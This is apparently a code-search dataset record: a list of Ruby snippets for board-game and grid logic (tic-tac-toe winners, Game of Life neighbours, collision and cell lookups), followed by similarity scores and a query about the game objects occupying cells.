living_neighbours\n\n end", "def is_colliding_with(obj, arr)\n val = nil\n arr.each do |group|\n @list[group].each do |element|\n unless element.object_id == obj.object_id\n if element.center_x == obj.center_x && element.center_y == obj.center_y\n val = element\n end\n end\n end\n end\n val\n end", "def attack_against_opponent(board)\n\t\tcell_found = nil\n\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\thash = Hash.new\n\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\t# find a combination with two O and fulfill the empty\n\t\t\t# if there isn't any cell_found is false\n\t\t\tif(hash.values.count(\"O\") == 2 && hash.values.include?(\" \"))\n\t\t\t\tcell_found = hash.key(\" \")+1\n\t\t\tend\n\t\tend # end-loop\n\t\tcell_found\n\tend", "def find_cell(coordinate)\n storage.select do |cell|\n cell.coord_x == coordinate[0] && cell.coord_y == coordinate[1]\n end.first\n end", "def hit\n hit_object = $window.tiles.select{|t| t.within_clickable?(@x, @y) and !t.content.nil?}\n return hit_object.first if !hit_object.nil?\n end", "def find_selected_object(x, y, view)\r\n return nil if not @corners\r\n pickray = view.pickray(x, y)\r\n wall_base_plane = [ @corners[0], Z_AXIS ]\r\n orig_point = Geom::intersect_line_plane(pickray, wall_base_plane)\r\n return nil if not orig_point\r\n point = Geom::Point3d.new(orig_point)\r\n # create a transformation if wall angle is not zero\r\n rotate_transform = Geom::Transformation.rotation(@corners[0], Z_AXIS, -@wall.angle.degrees)\r\n \r\n wall_start = Geom::Point3d.new(@wall.origin)\r\n wall_end = Geom::Point3d.new(@wall.endpt)\r\n if (@wall.angle != 0)\r\n wall_start.transform!(rotate_transform)\r\n wall_end.transform!(rotate_transform)\r\n point.transform!(rotate_transform)\r\n end\r\n \r\n wall_vec = wall_end - wall_start\r\n \r\n @wall.objects.each do |obj|\r\n \r\n # find the four corners of the object\r\n wall_vec.length = obj.center_offset - obj.width/2\r\n obj_start = wall_start + wall_vec\r\n wall_vec.length = obj.width\r\n obj_end = obj_start + wall_vec\r\n obj_vec = obj_end - obj_start\r\n next if (obj_vec.length <= 0)\r\n case @wall.justify\r\n \twhen \"left\"\r\n \t\ttransform = Geom::Transformation.new(obj_start, [0, 0, 1], -90.degrees)\r\n \twhen \"right\"\r\n \t transform = Geom::Transformation.new(obj_start, [0, 0, 1], 90.degrees)\r\n \twhen \"center\"\r\n \t # TODO\r\n \telse\r\n \t transform = Geom::Transformation.new\r\n \t UI.messagebox \"invalid justification\"\r\n \tend\t\t\r\n \t\t\t\r\n \tobj_vec.transform!(transform)\r\n \tobj_vec.length = @wall.width\r\n \t obj_start_offset = obj_start.offset(obj_vec)\r\n\r\n # determine if the point lies within the rectangle\r\n # puts \"orig_point = \" + orig_point.inspect \r\n # puts \"point = \" + point.inspect\r\n # puts \"obj_start = \" + obj_start.inspect\r\n # puts \"obj_end = \" + obj_end.inspect\r\n # puts \"obj_start_offset = \" + obj_start_offset.inspect\r\n if ((point.y > MM_HouseBuilder.min(obj_start.y, obj_end.y)) &&\r\n (point.y < MM_HouseBuilder.max(obj_start.y, obj_end.y)) &&\r\n (point.x > MM_HouseBuilder.min(obj_start.x, obj_start_offset.x)) &&\r\n (point.x < MM_HouseBuilder.max(obj_start.x, obj_start_offset.x)))\r\n # puts \"found\"\r\n view.invalidate\r\n return(obj)\r\n end\r\n end\r\n return(nil) # didn't find a door or window under the mouse\r\nend", "def find_neighbors(cell)\n min_r = [0, cell.row - 1].max\n max_r = [cell.row + 1, rows - 1].min\n min_c = [0, cell.column - 1].max\n max_c = [cell.column + 1, columns - 1].min\n\n get_cells(min_r..max_r, min_c..max_c).select { |x| x unless x == cell }\n end", "def get_start_floor(the_maze) \r\n the_maze.each_with_index do |floor, index| \r\n return index if get_start_position(floor) != nil \r\n end \r\nend", "def winner\n # checks to see if game was won\n if won?\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n board.cells[win_array[0]] == \"X\" && board.cells[win_array[1]] == \"X\" && board.cells[win_array[2]] == \"X\" ||\n board.cells[win_array[0]] == \"O\" && board.cells[win_array[1]] == \"O\" && board.cells[win_array[2]] == \"O\"\n end\n board.cells[winning_array[0]]\n end\n end", "def findNearestEnemy _obj, _args\n \"_obj findNearestEnemy _args;\" \n end", "def winner\n if winning_combo = won?\n @winner = @board.cells[winning_combo.first]\n end\n end", "def cells_overlapping(x, y)\n cells_at_points(corner_points_of_entity(x, y)).collect {|cx, cy| at(cx, cy) }\n end", "def find_candidate_for_guessing\n unassigned_cells.sort_by { |cell|\n [cell.available_values.size, to_s]\n }.first\n end", "def select_winner(altered_grid)\n altered_grid.each do |row|\n winner = row.each_cons(4).to_a.select do |chunk|\n chunk.uniq.length == 1 && chunk.none? { |el| el.nil? }\n end\n\n return winner[0][0] unless winner.empty?\n end\n\n nil\n end", "def occupied_positions\n cells.select {|cell| cell.occupied?}\n end", "def block_player_or_win(board, open_spaces)\n WINNING_LINES.each do |box|\n if board[box[0]] == 'O' && board[box[1]] == 'O' && open_spaces.include?(box[2])\n return box[2]\n elsif board[box[0]] == 'O' && board[box[2]] == 'O' && open_spaces.include?(box[1])\n return box[1]\n elsif board[box[1]] == 'O' && board[box[2]] == 'O' && open_spaces.include?(box[0])\n return box[0]\n end\n end\n\n WINNING_LINES.each do |box|\n if board[box[0]] == 'X' && board[box[1]] == 'X' && open_spaces.include?(box[2])\n return box[2]\n elsif board[box[0]] == 'X' && board[box[2]] == 'X' && open_spaces.include?(box[1])\n return box[1]\n elsif board[box[1]] == 'X' && board[box[2]] == 'X' && open_spaces.include?(box[0])\n return box[0]\n end\n end\n nil\nend", "def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend", "def winner(board)\n if won?(board)\n win_combo=won?(board) # 3 indices - all x or all o\n return board[win_combo[0]] # win_combo[0] has the first index of the winning combo\n else\n return nil\n end\nend", "def won?(board)\n # Checks all tiles in board and tracks the indexes where Xs and Os are\n x_indexes, o_indexes = [], []\n index = 0\nuntil index == 9\nboard[index] == \"X\" ? x_indexes.push(index) : (board[index] == \"O\" ? (o_indexes.push(index)) : ())\nindex += 1\n end\n\n# Checks each win_combination and selects the X or O indexes which match any of the win_combination indexes\n# If the matches include a win_combination, that combination is returned, otherwise false is returned.\n WIN_COMBINATIONS.each { |win_combination|\n x_indexes.select {|idx| win_combination.include?(idx)} == win_combination || o_indexes.select {|idx| win_combination.include?(idx)} == win_combination ? (return win_combination) : ()\n }\nreturn false\n\nend", "def cells_near cell\n near_cells = []\n CELL_NEIGHBOURHOOD.each do |state|\n c = [cell[0] + state[0], cell[1] + state[1]]\n if @cells.include? c then\n near_cells.push c\n end\n end\n return near_cells\n end", "def find_selected_object(x, y, view)\r\n # puts \"corners = \" + @corners.inspect\r\n return nil if (@corners.length != 5)\r\n pickray = view.pickray(x, y)\r\n wall_base_plane = [ @corners[0], Z_AXIS ]\r\n orig_point = Geom::intersect_line_plane(pickray, wall_base_plane)\r\n # puts \"pt = \" + orig_point.inspect\r\n return nil if not orig_point\r\n point = Geom::Point3d.new(orig_point)\r\n # create a transformation if wall angle is not zero\r\n rotate_transform = Geom::Transformation.rotation(@corners[0], Z_AXIS, -@wall.angle.degrees)\r\n \r\n wall_start = Geom::Point3d.new(@wall.origin)\r\n wall_end = Geom::Point3d.new(@wall.endpt)\r\n if (@wall.angle != 0)\r\n wall_start.transform!(rotate_transform)\r\n wall_end.transform!(rotate_transform)\r\n point.transform!(rotate_transform)\r\n end\r\n \r\n wall_vec = wall_end - wall_start\r\n \r\n @wall.objects.each do |obj|\r\n \r\n # find the four corners of the object\r\n wall_vec.length = obj.center_offset - obj.width/2\r\n obj_start = wall_start + wall_vec\r\n wall_vec.length = obj.width\r\n obj_end = obj_start + wall_vec\r\n obj_vec = obj_end - obj_start\r\n next if (obj_vec.length <= 0)\r\n case @wall.justify\r\n \twhen \"left\"\r\n \t\ttransform = Geom::Transformation.new(obj_start, [0, 0, 1], -90.degrees)\r\n \twhen \"right\"\r\n \t transform = Geom::Transformation.new(obj_start, [0, 0, 1], 90.degrees)\r\n \twhen \"center\"\r\n \t # TODO\r\n \telse\r\n \t transform = Geom::Transformation.new\r\n \t UI.messagebox \"invalid justification\"\r\n \tend\t\t\r\n \t\t\t\r\n \tobj_vec.transform!(transform)\r\n \tobj_vec.length = @wall.width\r\n \t obj_start_offset = obj_start.offset(obj_vec)\r\n\r\n # determine if the point lies within the rectangle\r\n # puts \"orig_point = \" + orig_point.inspect \r\n # puts \"point = \" + point.inspect\r\n # puts \"obj_start = \" + obj_start.inspect\r\n # puts \"obj_end = \" + obj_end.inspect\r\n # puts \"obj_start_offset = \" + obj_start_offset.inspect\r\n if ((point.y > MM_HouseBuilder.min(obj_start.y, obj_end.y)) &&\r\n (point.y < MM_HouseBuilder.max(obj_start.y, obj_end.y)) &&\r\n (point.x > MM_HouseBuilder.min(obj_start.x, obj_start_offset.x)) &&\r\n (point.x < MM_HouseBuilder.max(obj_start.x, obj_start_offset.x)))\r\n # puts \"found\"\r\n view.invalidate\r\n return(obj)\r\n end\r\n end\r\n return(nil) # didn't find a door or window under the mouse\r\nend", "def get_cell(x, y)\n grid[x][y]\n end", "def check_for_winner\n winner = false\n until winner\n WINNING_CELLS.each do |combo|\n if board[combo[1] - 1] == board[combo[0] - 1] && board[combo[2] - 1] == board[combo[0] - 1]\n winner = true\n break\n else\n winner = false\n end\n end\n end\n winner\n end", "def big_shoe_rebounds\n all_players = game_hash[:home][:players].merge(game_hash[:home][:players])\n big_object = all_players.max_by do |key,value|\n value[:shoe]\n end \n big_object[1][:rebounds]\nend", "def won?(board)\n WIN_COMBINATIONS.find do |combo_element|\n #here we are passing in the WIN_COMBO[1][0] INDEX LOCATION and saying find it on the board\n #so if were passing in WIN_COMBO[1](3,4,5) and looking at combo_element[0](3)\n #on the board we will be looking at board[index3]\n #we are then checking if all three combo elements are the same \"X/O\"\n board[combo_element[0]] == board[combo_element[1]] &&\n board[combo_element[1]] == board[combo_element[2]] &&\n position_taken?(board, combo_element[0]) #use [0] bc we've already compared [1]&&[2] to it\n end\nend", "def defend_against_opponent(board)\n\t\tcell_found = nil\n\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\thash = Hash.new\n\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\tif(hash.values.count(\"X\") == 2 && hash.values.include?(\" \"))\n\t\t\t\tcell_found = hash.key(\" \")+1\n\t\t\tend\n\t\tend\n\t\tcell_found\n\tend", "def opponent_board\n boards.opponent.first\n end", "def winning_cell_for_marker(marker)\n win_lines = lines_with_winning_move(marker)\n return outstanding_winning_cell(win_lines.first) unless win_lines.empty?\n end", "def get_containing(square)\n to_return = []\n square_row, square_col = @squares_to_coords[square]\n cont_row, cont_col, cont_diag1, cont_diag2 = [], [], [], []\n board_iterate do |ele, i, j|\n cont_row.push(ele) if i == square_row\n cont_col.push(ele) if j == square_col\n cont_diag1.push(ele) if i == j\n cont_diag2.push(ele) if i + j == @dim - 1\n end\n to_return.push(cont_row, cont_col, cont_diag1, cont_diag2)\n to_return\n end", "def index(object)\n\t\treturn nil if empty? # edgecase\n\t\tfound = first_index(object)\n\t\treturn found[0] ? found[1] : nil\n\tend", "def has_item_by_object(item)\n inventory.each_with_index do |couple, index|\n if (couple.first == item)\n return index\n end\n end\n return -1\n end", "def has_item_by_object(item)\n inventory.each_with_index do |couple, index|\n if (couple.first == item)\n return index\n end\n end\n return -1\n end", "def full?\n #@cells.all? {|cell| cell == \"X\" || cell == \"O\"}\n @cells.all? do |cell|\n cell == \"X\" || cell == \"O\"\n end\n end", "def has_battle_command_by_object(cmd)\n @battle_commands.each_with_index do |command, index|\n if (command == cmd)\n return index\n end\n end\n return -1\n end", "def collide_with_other_blocks\n @game.blocks.each do |block|\n if collide(block)\n return block\n end\n end\n nil\n end", "def map_tile_in_rock(tile)\n (-1..1).all? { |dx| (-1..1).all? { |dy|\n t = tile.offset(dx, dy) and t.shape_basic == :Wall and tm = t.tilemat and (tm == :STONE or tm == :MINERAL or tm == :SOIL)\n } }\n end", "def selected_object\n if @grabbed_entity_id\n grabbed = space[@grabbed_entity_id]\n return grabbed if grabbed\n end\n space.near_to(*mouse_coords)\n end", "def get_cells(y_index, x_index, y_vector, x_vector, velocity)\n cells = []\n\n for i in 0 .. velocity\n x = (x_vector * i) + x_index\n y = (y_vector * i) + y_index\n if cell_in_grid(y, x)\n cells.push(OpenStruct.new(:x => x, :y => y, :val => $grid[y][x]))\n end\n\n end\n return cells\nend", "def full?(cells = @cells)\n cells.all?{|taken| taken == \"X\" || taken == \"O\"}\n end", "def hit_objects\n game_state.game_object_map.collisions_with(self)\n #[game_state.game_object_map.from_game_object(self)]\n end", "def won?(board)\n\nWIN_COMBINATIONS.find do |combo|\n board[combo[0]] == board[combo[1]] &&\n board[combo[1]] == board[combo[2]] &&\n position_taken?(board, combo[0])\n end\nend", "def get_occupation(data, hometown)\n data.each do |season_iteration, stats|\n stats.find do |town|\n if town[\"hometown\"] == hometown\n return town[\"occupation\"]\n end\n end\n end\nend", "def live_neighbours_around_cell(cell)\n live_neighbours = []\n\n #check top cell\n if cell.x_axis > 0\n # puts \"Cell dimen1: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check right cell\n if cell.y_axis < (columns-1)\n # puts \"Cell dimen2: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n #check left cell\n if cell.y_axis > 0\n # puts \"Cell dimen3: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom cell\n if cell.x_axis < (rows-1)\n # puts \"Cell dimen4: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top left\n if cell.x_axis > 0 and cell.y_axis > 0\n # puts \"Cell dimen5: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check top right\n if cell.x_axis > 0 and cell.y_axis < (columns-1)\n # puts \"Cell dimen6: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis - 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom left\n if cell.x_axis < (rows - 1) and cell.y_axis > 0\n # puts \"Cell dimen7: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis - 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n # #check bottom right\n if cell.x_axis < (rows - 1) and cell.y_axis < (columns - 1)\n # puts \"Cell dimen8: #{cell.x_axis}:#{cell.y_axis}\"\n candidate = self.cell_grid[cell.x_axis + 1][cell.y_axis + 1]\n # puts \"Candidate #{candidate.inspect}\"\n live_neighbours << candidate if candidate.alive?\n end\n live_neighbours\n end", "def room_with(hazard)\n for r in 0...20\n checkRoom= room(r)\n if checkRoom.has?(hazard)\n return checkRoom\n end\n end\n end", "def findPlayer\n playerFound = false\n finishFound = false\n @maze.each_with_index do |row, rowIndex|\n row.each_with_index do |col, colIndex|\n case col\n when PLAYER_CHAR then\n raise 'More than one player' if playerFound\n playerFound = true\n @playerRow = rowIndex\n @playerCol = colIndex\n when FINISH_CHAR then finishFound = true\n when TRACK_MARKER then raise 'Track marker playerFound in maze'\n end\n end\n end\n raise 'No player' unless playerFound\n end", "def winner(board)\n if winning_combo = won?(board)\n board[winning_combo.first]\n end\nend", "def handle_hit_obstacle(object)\n end", "def winner(board)\n if winning_combo = won?(board)\n # winning_comobo = won?(board) # Erica\n # if winning_combo.present? # Erica\n board[winning_combo.first] \n end\nend", "def board_node_by_location(location)\n $board.each { |x| return x if x.location == location }\n return nil\nend", "def winner\n self.won?? self.board.cells[self.won?[0]] : nil\n end", "def winner\n if won = won?\n board.cells[won.first]\n end\n #won? == false ? nil : @board.cells[winner[0]];\n end", "def occupied?(x, y)\n game.pieces.where(x_coordinates: x, y_coordinates: y).present?\n end", "def smart_choose(checks)\n checks.each do |i|\n i.each_cons(2) do |arr|\n if arr.same_values? # ir neuzimta?\n i.each do |cell|\n return cell if @game.empty_cell?(cell)\n end\n end \n end\n end\n nil\n end", "def draw_cell(window, cell, is_player, grid_length)\n cell_width = window.width / grid_length\n cell_draw_x = cell.grid_x * cell_width\n cell_draw_y = cell.grid_y * cell_width\n\n\n window.draw_rect(cell_draw_x, cell_draw_y, cell_width, cell_width, Gosu::Color.argb(DARK_GRAY_COLOR)) if cell.show_base_background\n\n if cell.grid_y == grid_length - 1 && cell.grid_x == grid_length - 1\n window.draw_rect(cell_draw_x + PLATFORM_MARGIN,\n cell_draw_y + PLATFORM_MARGIN,\n cell_width - + PLATFORM_MARGIN * 2,\n cell_width - PLATFORM_MARGIN * 2,\n Gosu::Color.argb(LIGHT_GREEN_COLOR))\n end\n\n if is_player\n window.draw_rect(cell_draw_x + PLAYER_MARGIN,\n cell_draw_y + PLAYER_MARGIN,\n cell_width - PLAYER_MARGIN * 2,\n cell_width - PLAYER_MARGIN * 2,\n Gosu::Color.argb(PLAYER_COLOR))\n end\n\n draw_cell_walls(window, cell, cell_width, MAZE_WALL_THICKNESS, Gosu::Color.argb(LIGHT_GRAY_COLOR))\n\nend", "def won?(board)\n #iterate over WIN_COMBINATIONS\n WIN_COMBINATIONS.each do |current_index|\n win_index_1 = current_index[0]\n win_index_2 = current_index[1]\n win_index_3 = current_index[2]\n\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return current_index\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return current_index\n end\n end\n return false\nend", "def find_cells_arround(row, column)\n count = 0\n next_row = row + 1\n next_column = column + 1\n if row + 1 == @grid.length\n next_row = 0\n end\n if column + 1 == @grid.length\n next_column = 0\n end\n if @grid[row][next_column] == \"x\"\n count += 1\n end\n if @grid[row][column - 1] == \"x\"\n count += 1\n end\n if @grid[next_row][column] == \"x\"\n count += 1\n end\n if @grid[next_row][next_column] == \"x\"\n count += 1\n end\n if @grid[next_row][column - 1] == \"x\"\n count += 1\n end\n if @grid[row - 1][column] == \"x\"\n count += 1\n end\n if @grid[row - 1][next_column] == \"x\"\n count += 1\n end\n if @grid[row - 1][column - 1] == \"x\"\n count += 1\n end\n return count\n end", "def winCondition(player)\n #Loops through rows, then loops through columns.\n\tfor i in 0..2\n\t\tcheck = i*3\n\t\tif(@bo[check] == player && @bo[check+1] == player && @bo[check+2] == player) then\n\t\t\treturn player\n\t\tend\n\t\tif(@bo[i] == player && @bo[i+3] == player && @bo[i+6] == player) then\n\t\t\treturn player\n\t\tend\n\tend\n #Loops through diagonals\n\tif(@bo[0] == player && @bo[4] == player && @bo[8] == player) then\n\t\treturn player\n\tend\n\tif(@bo[2] == player && @bo[4] == player && @bo[6] == player) then\n\t\treturn player\n\tend\n\treturn nil\n end", "def find_move(board)\n\t\tcell_found = nil\n\t\t\tWIN_COMBINATIONS.each do |combo|\n\t\t\t\thash = Hash.new\n\t\t\t\thash[combo[0]] = board.cells[combo[0]]\n\t\t\t\thash[combo[1]] = board.cells[combo[1]]\n\t\t\t\thash[combo[2]] = board.cells[combo[2]]\n\t\t\t\t# finds a possible win move\n\t\t\tif(hash.values.count(\"O\") == 1 && hash.values.count(\" \") == 2)\n\t\t\t\tcell_found = hash.key(\" \")+1\n\t\t\tend\n\t\tend\n\t\tcell_found\n\tend", "def closest(object)\n\t\treturn nil if empty? # edgecase\n\t\tfirst_index(object)[1]\n\tend", "def rassoc obj\n @array.each do |elem|\n if elem.respond_to? :at and elem.at(1) == obj\n return elem\n end\n end\n\n nil\n end", "def selectPiece(x, y)\n if x.instance_of?(Integer) && y.instance_of?(Integer)\n if x.between?(0,6) && y.between?(0,6) && @locations[x][y] != nil\n return @locations[x][y].piece\n end\n end\n return nil\n end", "def obstacle?(check_x, check_y)\n game.pieces.exists?(:x_position => check_x,\n :y_position => check_y,\n :active => 1)\n end", "def won?(board)\n WIN_COMBINATIONS.detect do |win_index| # \"detect\" will only return the first element that makes the block true\n# puts win_index[0] # returns 0,3,6,0,1,2,0,6\n# (all 0 index values in WIN_COMBINATIONS[0][0],[1][0],[2][0],[3][0],[4][0],[5][0],etc.)\n# puts win_index[1] # returns 1,4,7,3,4,5,4,4\n# (all 1 index values in WIN_COMBINATIONS[0][1],[1][1],[2][1],[3][1],[4][1],[5][1],etc.)\n# puts win_index[2] # returns 2,5,8,6,7,8,8,2\n# (all 2 index values in WIN_COMBINATIONS[0][2],[1][2],[2][2],[3][2],[4][2],[5][2],etc.)\n# only need three [0,1,2] \"win_index[]\" because that is the length of child arrays\n# now check the board to see if indexes contain \"X\" or \"O\"\n board[win_index[0]] == \"X\" &&\n board[win_index[1]] == \"X\" &&\n board[win_index[2]] == \"X\" ||\n board[win_index[0]] == \"O\" &&\n board[win_index[1]] == \"O\" &&\n board[win_index[2]] == \"O\" &&\n\n position_taken?(board, win_index[0])\n# position_taken? checks if win_index[0] is not nil or not equal to \" \"\n end\nend", "def won?(board)\n WIN_COMBINATIONS.find do |win_combo|\n # win index, calm down.\n windex_1 = win_combo[0]\n windex_2 = win_combo[1]\n windex_3 = win_combo[2]\n # setup position placeholder to compare arrays\n position_1 = board[windex_1]\n position_2 = board[windex_2]\n position_3 = board[windex_3]\n # check positions for all \"X\" or all \"O\"\n if ((position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"))\n return win_combo\n end\n end\nend", "def won?\n WIN_COMBINATIONS.detect do |element|\n if (@board[element [0]]) == \"X\" && (@board[element[1]]) == \"X\" && (@board[element [2]]) == \"X\"\n return element\n elsif (@board[element[0]]) == \"O\" && (@board[element [1]]) == \"O\" && (@board[element[2]]) == \"O\"\n return element\n end\n false\n end\nend", "def taken?(cells = @cells, location)\n @cells[location.to_i - 1] == \"X\" || @cells[location.to_i - 1] == \"O\"\n end", "def won?\nfor sub_array in WIN_COMBINATIONS do\nindex_1 = sub_array[0]\nindex_2 = sub_array[1]\nindex_3 = sub_array[2]\n\nboard_index_1 = @board[index_1]\nboard_index_2 = @board[index_2]\nboard_index_3 = @board[index_3]\n\n if (board_index_1 == \"X\" && board_index_2 == \"X\" && board_index_3 == \"X\") || (board_index_1 == \"O\" && board_index_2 == \"O\" && board_index_3 == \"O\") \n return sub_array\nend\nend\nfalse\nend", "def winner\n won? ? board.cells[won?[0]] : nil\n end", "def won?(board)\n WIN_COMBINATIONS.detect do |win_index| # \"detect\" will only return the first element that makes the block true\n # puts win_index[0] # returns 0,3,6,0,1,2,0,6\n # (all 0 index values in WIN_COMBINATIONS[0][0],[1][0],[2][0],[3][0],[4][0],[5][0],etc.)\n # puts win_index[1] # returns 1,4,7,3,4,5,4,4\n # (all 1 index values in WIN_COMBINATIONS[0][1],[1][1],[2][1],[3][1],[4][1],[5][1],etc.)\n # puts win_index[2] # returns 2,5,8,6,7,8,8,2\n # (all 2 index values in WIN_COMBINATIONS[0][2],[1][2],[2][2],[3][2],[4][2],[5][2],etc.)\n # only need three [0,1,2] \"win_index[]\" because that is the length of child arrays\n # now check the board to see if indexes contain \"X\" or \"O\"\n board[win_index[0]] == \"X\" &&\n board[win_index[1]] == \"X\" &&\n board[win_index[2]] == \"X\" ||\n board[win_index[0]] == \"O\" &&\n board[win_index[1]] == \"O\" &&\n board[win_index[2]] == \"O\" &&\n\n position_taken?(board, win_index[0])\n # position_taken? checks if win_index[0] is not nil or not equal to \" \"\n end\n end", "def get_target(map, loc)\n owned = nil\n owned_min = 1000\n GameMap::CARDINALS.each do |l|\n new_loc = map.find_location(loc, l)\n site = map.site(new_loc)\n if site.owner != $tag && site.strength < owned_min\n owned_min = site.strength\n owned = l\n end\n end\n owned\nend", "def winner(board)\n #if game is won\n if won?(board)\n #return element at the zeroth index of winning combination \n return board[won?(board)[0]]\n end\nend", "def winner(board)\n if won?(board) then return board[won?(board)[0]]\n end\nend", "def full?\n self.cells.all? {|cell| cell == \"X\" || cell == \"O\"}\n end", "def winner(board)\n\nif over?(board)\nreturn board[over?(board)[0]]\nend\nend", "def position_of(game_object, position = nil)\n position ||= game_object.position\n position = sym(position)\n\n if [:arm, :wield, :wrist, :foot, :ankle, :ring_finger, :ear, :hand, :shoulder].include? position\n return position_of(game_object, \"left_#{position}\".to_sym) || position_of(game_object, \"right_#{position}\".to_sym)\n end\n\n if @equipment[position] and @equipment[position][game_object.layer] == game_object.goid\n return position\n else\n return nil\n end\n end", "def find_my_king(player, board)\r\n board.each_with_index do |col, i| \r\n col.each_index do |j|\r\n return [i, j] if board[i][j].class == King && board[i][j].color == player\r\n end\r\n end \r\n end", "def winner\n WIN_COMBINATIONS.detect do |element|\n if (@board[element [0]]) == \"X\" && (@board[element[1]]) == \"X\" && (@board[element[2]]) == \"X\"\n return \"X\"\n elsif (@board[element[0]]) == \"O\" && (@board[element[1]]) == \"O\" && (@board[element[2]]) == \"O\"\n return \"O\"\n else\n nil\n end\n end\nend", "def put_random(object)\n while true\n random_row = rand(1...@height - 1)\n random_column = rand(1...@width - 1)\n\n if @map[random_row][random_column] == @FLOOR\n @map[random_row][random_column] = object\n return [random_column, random_row]\n end\n end\n end", "def won?\n # if there is a winning combo on my board it should be in my constant \n #look at my board, see if there is a winning combo\n # return f/nil if no win combo is present at all \n #return winning combo as an array if there is a win\n #ennumerate over constant, see if that is present and return it \n WIN_COMBINATIONS.find do |winner|\n @board[winner[0]] == @board[winner[1]] &&\n @board[winner[0]] == @board[winner[2]] &&\n position_taken?(winner[1])\n end \n end", "def get_placed_surrounding_tiles(sur_tiles, placed_tiles)\n placed_sur_tiles = []\n sur_tiles.each do |tile|\n if placed_tiles.include?(tile)\n tile_object = self.game_tiles.where(cell: tile).first\n placed_sur_tiles << tile_object\n end\n end\n\n placed_sur_tiles\n end", "def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n else\n nil\n end\nend", "def won?(board)\n WIN_COMBINATIONS.each do |combo|\n index_1 = combo[0]\n index_2 = combo[1]\n index_3 = combo[2]\n\n position_1 = board[index_1]\n position_2 = board[index_2]\n position_3 = board[index_3]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return combo\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return combo\n end\n end\n false\nend", "def winner(board)\n if win_combo = won?(board)\n board[win_combo.first]\n end\nend", "def winner\n if winning_combo = won?\n @board[winning_combo.first]\n end\n end", "def won?(board)\n WIN_COMBINATIONS.detect do |item|\n board[item[0]] == board[item[1]] && board[item[1]] == board[item[2]] && position_taken?(board, item[0])\n end\nend", "def part2(grid)\n grid.non_overlapping.id\nend", "def tie(cells)\n flag=0\n for i in 0..2 do\n for j in 0..2 do\n if cells[i][4*j]=='X' or cells[i][4*j]=='O'\n flag=flag+1\n end\n end\n end\n\n if flag==9 \n return 1\n else \n return 0\n end\nend" ]
[ "0.63153857", "0.6085368", "0.59655094", "0.5937466", "0.5867346", "0.577208", "0.5715233", "0.5714156", "0.56617445", "0.56548476", "0.55852556", "0.5571266", "0.55704904", "0.5519726", "0.5486104", "0.54313165", "0.5396928", "0.53897804", "0.5383057", "0.5380996", "0.53608257", "0.53138137", "0.53122795", "0.53102505", "0.530865", "0.53066546", "0.530591", "0.52800196", "0.5269642", "0.5267085", "0.5267085", "0.52651775", "0.5260794", "0.5258684", "0.52583486", "0.5254028", "0.5248971", "0.5242516", "0.5236074", "0.522955", "0.52275676", "0.5215499", "0.52120847", "0.52111816", "0.52111816", "0.52045935", "0.5202817", "0.52022266", "0.51954293", "0.5191419", "0.51796937", "0.5173772", "0.51720124", "0.51665527", "0.5163554", "0.5163553", "0.5152425", "0.5150466", "0.51472807", "0.5137614", "0.5134853", "0.5134033", "0.51221704", "0.5120062", "0.51188976", "0.51178986", "0.51163125", "0.5115355", "0.5110693", "0.5109404", "0.5108124", "0.51047945", "0.51045275", "0.51033014", "0.50974107", "0.5097264", "0.50953525", "0.50926024", "0.50911117", "0.508421", "0.5076118", "0.507534", "0.5074207", "0.5074073", "0.50709015", "0.5070653", "0.50698256", "0.5065191", "0.50601786", "0.505988", "0.50586873", "0.50557864", "0.50549257", "0.5053526", "0.50518245", "0.50506276", "0.5047426", "0.50431585", "0.50408113", "0.50407916" ]
0.6868127
0
Yields all game objects occupying any of the cells that given 'game_object' covers
